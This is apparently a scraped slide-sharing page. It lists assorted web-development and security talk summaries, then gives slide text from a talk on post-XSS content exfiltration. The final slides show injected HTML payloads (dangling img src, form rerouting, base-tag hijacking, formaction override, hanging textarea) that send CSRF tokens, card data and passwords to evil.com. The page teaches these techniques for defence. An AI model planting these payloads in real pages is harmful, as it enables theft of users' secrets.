OAuth is an open standard for authentication that allows users to log into third party applications using their existing credentials from another service, without having to expose their password. OEmbed is a format for converting URLs into embeddable rich content like photos or videos. It allows websites to display content from other sites without having to manually embed HTML or write custom code. Both standards aim to simplify authentication and content embedding while keeping users' data and identities secure.
This document provides an overview of how to configure and use Capybara for testing web applications. It discusses using Capybara with Cucumber, RSpec, and Test::Unit. It also describes Capybara's DSL for navigating pages, interacting with elements, making assertions, and more. Various drivers like Selenium and RackTest are demonstrated along with debugging techniques.
Cross-site scripting (XSS) attacks occur when malicious scripts are injected into otherwise benign websites. An attacker can use XSS to send a malicious script to an unsuspecting user, giving the script access to cookies and other sensitive information. XSS attacks are successful because most programmers do not apply encoding to user input, allowing injected scripts to be rendered and executed by the user's browser.
Postcards from the post xss world- content exfiltration nullPiyush Pattanayak
The document discusses post-XSS content exfiltration techniques. It describes 6 methods that can be used by an attacker to extract sensitive user data from a vulnerable web application even with protections like HTTP-only cookies in place. These include dangling markup injection, textarea-based consumption, rerouting existing forms, using <base> tags to hijack URLs, injecting forms to intercept passwords, and moving data within a site rather than to third parties. The document provides examples and limitations for each technique.
The Web Components interoperability challenge - Horacio Gonzalez - Codemotion...Codemotion
Web Components are here, the v1 of the standard is ready, a new world of componentalized web is ahead us. But when you look at it, there are many ways to write them, lots of libs. And you ask yourself if that web component interoperability really works in real life. Does all those different components, work seamless together? We are going to introduce several ways to build your web components (vanilla components, Polymer, Stencil, SkateJS...) and write a component with each one. Then we will put all those components together in a web app showing you that the interoperability is a reality.

Video recording of the talk: https://connect.ruhr-uni-bochum.de/p3g2butmrt4/
HTML5 is quickly gaining media attention and popularity among browser vendors and web developers. Having tremendous features, together with its sister specifications like Drag & Drop API, File API or Geolocation it allows developers to build rich web applications that easily blend with desktop & mobile environments.
The talk will be focused on finding the weakest link and combining several recent attack techniques to turn a security vulnerability into a successful exploit.
We'll show how to build a successful advanced UI-Redressing attack (also known as clickjacking), presenting the latest findings in this field, including malicious games and quizes. We'll work on file upload functionalities in current web applications and see how attackers might use HTML5 APIs for their advantage. Putting all these building blocks together will enable us to launch an attack and exploit even the otherwise unexploitable vulnerabilities.
Krzysztof kotowicz. something wicked this way comesYury Chemerkin
Krzysztof Kotowicz presented several ways that HTML5 and user interaction could be abused by attackers:
- Filejacking allows uploading files from a user's system without consent by tricking them into selecting a folder. Sensitive files were taken from actual victims.
- AppCache poisoning can be used to persist malicious payloads on a user's system by tampering with application manifest files during a man-in-the-middle attack.
- Silent file upload constructs arbitrary files in JavaScript and uploads them to a victim site using cross-origin resource sharing if CSRF is possible. This was demonstrated against a real website.
- IFRAME sandboxing and drag-and-drop
Krzysztof Kotowicz presented several HTML5 tricks that could be abused by attackers:
- Filejacking allows reading files from a user's system using the directory upload feature in Chrome. Sensitive files were exposed from some users.
- AppCache poisoning can be used in a man-in-the-middle attack to persist malicious payloads by tampering with a site's cache manifest file.
- Silent file upload uses cross-origin resource sharing to upload fake files without user interaction, potentially enabling CSRF attacks.

This document discusses two Tumblr client applications - Tumblr Gear for iPhone and Tumblrowl for Mac OS X. Tumblr Gear is an ancient Tumblr client for iPhone that uses text-based scraping of Tumblr pages due to API limitations. It loads many web views to display content, which can be slow. Tumblrowl is a desktop notification-style application that displays new Tumblr posts without requiring user input, combining Tumblr with the Growl notification system. It utilizes various frameworks including Growl, OAuth and JSON to access the Tumblr API and display posts.

The Future is in Pieces
with Jonathan Snook
OVERVIEW
In the last few years, we’ve seen an emergence of a modular way of thinking about code and design. We’ve seen the rise of SMACSS, BEM, and Atomic Design. This talk will look at those modular concepts and how they can streamline development for large and long-running projects. We’ll also look at how these approaches can ease responsive design and development. Lastly, we will look at where the modular approach is going in the future as Web Components slowly make their way into browsers and application frameworks.
OBJECTIVE
To learn how modular design can improve our development process.

Progressive downloads and rendering (Stoyan Stefanov)Ontico
This document discusses techniques for progressively downloading and rendering web pages to improve performance and user experience. It covers topics like preventing blocking JavaScript and CSS downloads, using techniques like deferred and async scripts, inline CSS, and flushing to start rendering sooner. It also discusses using data URIs to reduce HTTP requests by inlining images and other assets. Formats like MHTML and chunked encoding are presented as ways to progressively deliver content across browsers. The goal is to start outputting content as fast as possible while downloading remaining assets in the background.
This is a multi-faceted workshop that explores new concepts in web security. After a solid grounding in well-known exploits like cross-site scripting (XSS) and cross-site request forgeries (CSRF), I'll demonstrate how traditional exploits are being used together and with other technologies like Ajax to launch sophisticated attacks that penetrate firewalls, target users, and spread like worms. I'll then discuss some ideas for the future, such as evaluating trends to identify suspicious activity and understanding human tendencies and behavior to help provide a better, more secure user experience.
1) The document discusses malware distribution campaigns from 2012 that used dynamically generated domain names and short-lived domains to serve malicious content through advertisement networks and legitimate websites.
2) Malware was distributed by simulating advertisement networks through JavaScript and using short-term disposable domain names that pointed to the same IP addresses.
3) One campaign only rendered malicious content if mouse movement was detected on a page, requiring user interaction to trigger the exploit.
The document discusses new features in HTML5 including:
1. New semantic HTML5 elements like <header>, <nav>, <section>, <article>, and <footer> that help structure and provide meaning to content.
2. New attributes like "role", "data-", "aria-", "draggable", and microdata attributes that add more semantics and meaning.
3. New form input types like email, number, date, time, etc. and new form attributes that make forms more usable.
This document summarizes common web application security vulnerabilities in Ruby on Rails such as SQL injection, cross-site scripting (XSS), cross-site request forgery (CSRF), mass assignment, and CVE-2012-2661. It provides examples of these vulnerabilities and discusses countermeasures like input sanitization, access control, CSRF tokens, whitelisting attributes, and upgrading Rails versions. The document concludes by recommending following Rails security best practices and resources for learning about securing Rails applications.
Spark IT 2011 - Simplified Web Development using Java Server Faces 2.0Arun Gupta
The document outlines new features in Java Server Faces (JSF) 2.0 including Facelets, composite components, integrated Ajax support, partial state saving, view parameters, system events, and resources. It provides examples of how these features can be used and notes they were inspired by other frameworks. The development and release of any features described remains at the sole discretion of Oracle.
This document discusses various web application security vulnerabilities including Cross Site Request Forgery (CSRF), clickjacking, and open redirects. CSRF involves forcing unauthorized requests to a web application to perform actions on the user's behalf. Clickjacking involves tricking a user into clicking something different than what they see. Open redirects can allow attackers to redirect users to malicious sites.
The document discusses optimization of the presentation tier of web applications. It notes that the presentation tier is often overlooked despite being responsible for over 30% of client/server performance. Some key optimizations discussed include reducing HTTP requests, optimizing response objects by reducing size and load pattern, JavaScript minification and placement, image sprites, caching, and ensuring valid HTML markup.
The document discusses icon fonts and how to implement them. It provides examples of using icon fonts in CSS and HTML, enqueueing icon font stylesheets in WordPress functions.php, and including icon fonts via <link> tags. Popular open source icon fonts like Genericons, Font Awesome, and Elusive Icons are mentioned along with font generators and licensing options. Scalable Vector Graphics (SVG) are also summarized, including benefits like small file sizes and graceful degradation.
The document discusses various cross-site scripting (XSS) techniques that can bypass input filtering defenses. Some techniques discussed include using tabindex to execute code on focus for any HTML element, exploiting focus and blur events, dangling markup attacks, and techniques that avoid the use of parentheses and semicolons. The document also covers XSS in specific browser contexts like AngularJS applications and techniques that can detect cross-domain elements to perform XSS attacks.
This talk shares the various techniques I found whilst building the XSS cheat sheet. It contains auto executing vectors, AngularJS CSP bypasses and dangling markup attacks.
The 2023 Vulnerability Stats report as delivered to the IISF.
Covering: PTaaS, Pentesting, Vulnerabilty Managment, EPSS, CISA KEV, Risk, Attack Surface Management. Its based on delivering thousands of PTaaS and RBVM assessments throughout 2022. Why tools and traditional pentesting has failed.
1. Edgescan uses automated validation and analytics to determine if vulnerabilities discovered during scans are true or false positives, automatically publishing issues with over 90% confidence.
2. Vulnerabilities with lower confidence scores or that are high severity undergo expert validation by seasoned penetration testers to further validate findings.
3. This two-step validation process helps ensure Edgescan only delivers accurate vulnerability intelligence to clients.

This document discusses the failure of traditional vulnerability management and proposes a more effective approach. It argues that vulnerability management needs to be continuous, accurate, integrated across the full technology stack, and augmented with human expertise. Traditional approaches relying solely on automated scans are not keeping pace with rapid technology changes and the sophisticated techniques used by attackers. An effective vulnerability management program requires continuous visibility, automated patching of known issues, secure development practices, and vigilance in detecting new vulnerabilities through a combination of tools and human review.

Full stack vulnerability management at scaleEoin Keary
- Full-stack vulnerability management is needed to address security risks across applications, servers, databases, services, and operating systems. Automation is key to assessing security at scale across the full technology stack.
- While automation can detect many technical vulnerabilities, it cannot assess logical vulnerabilities involving business logic, authorization, or compliance issues that require human judgment and context.
- Continuous vulnerability management is needed to keep pace with today's agile development cycles and constantly changing environments, focusing on changes since the last assessment to prioritize remediation.
Vulnerability Intelligence - Standing Still in a world full of changeEoin Keary
The document discusses effective and scalable fullstack vulnerability management. It describes managing thousands of systems globally through continuous assessment and false-positive free vulnerability scanning of web applications, APIs, hosts, and full IT stacks. Recent major data breaches are listed, demonstrating the real threat of cybercrime. The majority of critical and high risks are found in web application layers. Attack vectors include malware, phishing, hacking, and nation state cyber espionage. An agile risk model is advocated to keep pace with frequent code changes and deployment of new systems and services. Integration with security tools like SIEM, firewalls, and bug trackers provides intelligence and visibility.
The document provides statistics and analysis from edgescan's 2018 vulnerability report. Some key findings include:
- 19% of vulnerabilities were in web applications and APIs, while 81% were in network infrastructure. Application layer vulnerabilities posed higher risks.
- Internal systems had higher rates of high/critical risks (24.9% for applications) than internet-facing systems.
- Common web application vulnerabilities included XSS, SQL injection, and vulnerable components. For infrastructure, TLS/SSL issues and SMB vulnerabilities were most prevalent.
- Unsupported Windows 2003 systems and vulnerabilities like EternalBlue accounted for a large portion of risks found.

Web security – everything we know is wrong cloud versionEoin Keary
This document summarizes a presentation on web security given by Eoin Keary. The key points made are:
1) Traditional penetration testing is not sufficient for continuous security and the arms race with attackers. Continuous monitoring and testing is needed.
2) Many vulnerabilities come from third party code and dependencies that are not adequately tested or managed.
3) It is difficult for organizations to manage vulnerabilities at scale across many applications without enterprise vulnerability management.
4) Too many reported vulnerabilities can overwhelm developers, so prioritization and explaining issues simply is important.
Why continuous assessment is required. How to keep pace with development and secure constant change. Vulnerability statistics across the fullstack. What are the most common security issues in the web application and host layer.

Vulnerability management and threat detection by the numbersEoin Keary
1. There are many approaches to application security testing like DAST, SAST, IAST, but an attacker only needs to find one vulnerability.
2. Both vulnerabilities in code and inaccuracies in security assessments pose potential risks.
3. Most application code uses open source frameworks, but many organizations do not monitor for vulnerabilities in these components or have open source policies.
4. While automation can help scale security assessments, factors like context, accuracy, and technical constraints make fully scaling security challenging.

Measures in SQL (SIGMOD 2024, Santiago, Chile)Julian Hyde
SQL has attained widespread adoption, but Business Intelligence tools still use their own higher level languages based upon a multidimensional paradigm. Composable calculations are what is missing from SQL, and we propose a new kind of column, called a measure, that attaches a calculation to a table. Like regular tables, tables with measures are composable and closed when used in queries.
SQL-with-measures has the power, conciseness and reusability of multidimensional languages but retains SQL semantics. Measure invocations can be expanded in place to simple, clear SQL.
To define the evaluation semantics for measures, we introduce context-sensitive expressions (a way to evaluate multidimensional expressions that is consistent with existing SQL semantics), a concept called evaluation context, and several operations for setting and modifying the evaluation context.

2. Dingley Dangley Quote
<img src='http://evil.com/log.cgi? ← Injected line with a
non-terminated
parameter ...
<input type="hidden" name="xsrf_token" value="12345"> ... ' ← Normally-occurring
apostrophe in page text
...
</div> ← Any normally-occurring
tag
(to provide a closing
bracket)
• Any markup between the opening single quote of the img src parameter and the next occurrence of a
matching quote will be treated as a part of the image URL.
• The browser will issue a request to retrieve the image from the specified location - thereby disclosing the
secret value to an attacker-controlled destination – steal CSRF token
http://evil.com/log.cgi?...<input type="hidden" name="xsrf_token" value="12345">...
3. Form rerouting
<form action='http://evil.com/log.cgi'> ← Injected line by attacker
<form action='update_profile.php'> ← Legitimate, pre-existing form ...
<input type="text" name=“card_number" value=“100100100"> ...
<input type="text" name=“CVV_number" value=“666"> ...
</form>
• The <form> tag can't be nested. The top-level occurrence of this element
always takes precedence over subsequent appearances.
• When used to target forms automatically populated with user-specific secrets
- as would be the case with any forms used to update profile information,
shipping or billing address, or other contact data; form-based XSRF tokens are
also a possible target.
4. <base> jumping
• The <base> tag specifies the base URL/target for
all relative URLs in a document.
• There can be at maximum one <base> element in
a document, and it *must be inside the <head>
element.
http://www.w3.org/wiki/HTML/Elements/base
*VULNERABLE: Chrome, firefox and safari.
NOT VULNERABLE: IE8 or IE9.
5. <base> jumping
• Attack relies on the injection of <base> tags
• A majority of web browsers honour this tag outside the
standards-mandated <head> section.
• The attacker injecting this mark-up would be able to change
the semantics of all subsequently appearing relative URLs
<base href='http://evil.com/'> ← Injected line ...
<form action='update_profile.php'> ← Legitimate, pre-existing form ...
<input type="text" name="real_name" value=“admin_eoin"> ...
</form>
http://evil.com/update_profile.ph
FIX: use absolute paths!!
6. Element Override
• <input> formaction Attribute (HTML5)
• The formaction attribute overrides the action attribute of the
<form> element.
<html>
……
<form action="update_info.php" method=“get">
<input type="text" id="name" />
<input type="text" id="addr" />
<input type="text" id="creditcard" />
<input type="submit"name="submit" id="submit" value="Real Button" />
<!--Beginning of attacker's code -->
<button formaction="http://evil.com"> False Button </button>
<style> #submit{visibility:hidden;} </style>
<!-- End of attacker's code -->
7. Hanging <textarea>
<!--Beginning of attacker's code -->
<form action=“evil.com/logger.cgi" method="post">
<input type="submit" value="Click to continue" />
<textarea style="visibility:hidden;">
<!--End of attacker's code -->
...
<!--User's sensitive data -->
<B>User Password list: </B>
password123
LetMein123
ChangeM3!
1234556
…..
The hanging <textarea> in forces the browser to try to determine where the text area
should terminate. Most browsers look for the next </textarea> or the end of the
</HTML> document.
